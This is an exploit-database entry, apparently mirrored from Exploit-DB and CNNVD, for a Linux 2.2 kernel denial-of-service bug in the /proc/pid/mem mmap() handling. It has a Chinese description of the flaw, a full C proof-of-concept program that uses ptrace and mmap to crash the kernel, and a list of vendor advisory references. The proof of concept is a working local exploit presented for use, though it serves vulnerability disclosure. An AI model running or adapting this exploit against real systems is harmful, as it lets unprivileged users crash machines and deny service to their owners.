https://www.exploit-db.com/exploits/22105
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200212-055

Linuxkernel是开放源代码Linux操作系统内核，/proc/pid/mem接口设计用于某一应用程序在某些情况下可以方便的访问另一应用程序内存。这个功能对开发人员或管理员在运行的系统中调试或分析程序非常有用。其中之一访问内存的方法是直接使用mmap()映射页面。直接使用mmap()映射页面访问内存方法缺少充分的验证，本地攻击者可以利用这个漏洞请求访问不可读进程使系统内核崩溃。用户可以使用mmap()接口访问被跟踪进程本来没有权限读取的内存，用户可以传递PROT_READ参数给这个调用，请求读访问这个映射，由于不充分的验证检查，恶意用户可以把映射标记为可读，这样用户可以请求他的实例可被内核读取，造成系统崩溃。

/*
source: http://www.securityfocus.com/bid/6420/info

A denial of service vulnerability has been discovered in the Linux 2.2 kernel. It has been reported that it is possible for an unprivileged user to cause the kernel to stop responding due to a bug in the implementation of mmap().

It should be noted that this issue does not affect the 2.4 kernel tree. This is because support for mmap() in the /proc/pid/mem implementation has been dropped. 
*/


   #define PAGES 10

   #include <asm/page.h>
   #include <sys/mman.h>
   #include <unistd.h>
   #include <stdio.h>
   #include <fcntl.h>
   #include <sys/ptrace.h>

   int main() {
     int ad1,ad2,zer,mem,pid,i;
     zer=open("/dev/zero",O_RDONLY);
     ad1=(int)mmap(0,PAGES*PAGE_SIZE,0,MAP_PRIVATE,zer,0);
     pid=getpid();
     if (!fork()) {
       char p[64];
       ptrace(PTRACE_ATTACH,pid,0,0);
       sleep(1);
       sprintf(p,"/proc/%d/mem",pid);
       mem=open(p,O_RDONLY);
       ad2=(int)mmap(0,PAGES*PAGE_SIZE,PROT_READ,MAP_PRIVATE,mem,ad1);
       write(1,(char*)ad2,PAGES*PAGE_SIZE);
     }
     sleep(100);
     return 0;
   }

来源:BID
名称:6420
链接:http://www.securityfocus.com/bid/6420
来源:XF
名称:linux-protread-mmap-dos(10884)
链接:http://xforce.iss.net/xforce/xfdb/10884
来源:TRUSTIX
名称:2002-0083
链接:http://www.trustix.net/errata/misc/2002/TSL-2002-0083-kernel.asc.txt
来源:REDHAT
名称:RHSA-2003:088
链接:http://www.redhat.com/support/errata/RHSA-2003-088.html
来源:MANDRAKE
名称:MDKSA-2003:039
链接:http://www.mandrakesoft.com/security/advisories?name=MDKSA-2003:039
来源:ENGARDE
名称:ESA-20030318-009
链接:http://www.linuxsecurity.com/advisories/engarde_advisory-2976.html
来源:DEBIAN
名称:DSA-336
链接:http://www.debian.org/security/2003/dsa-336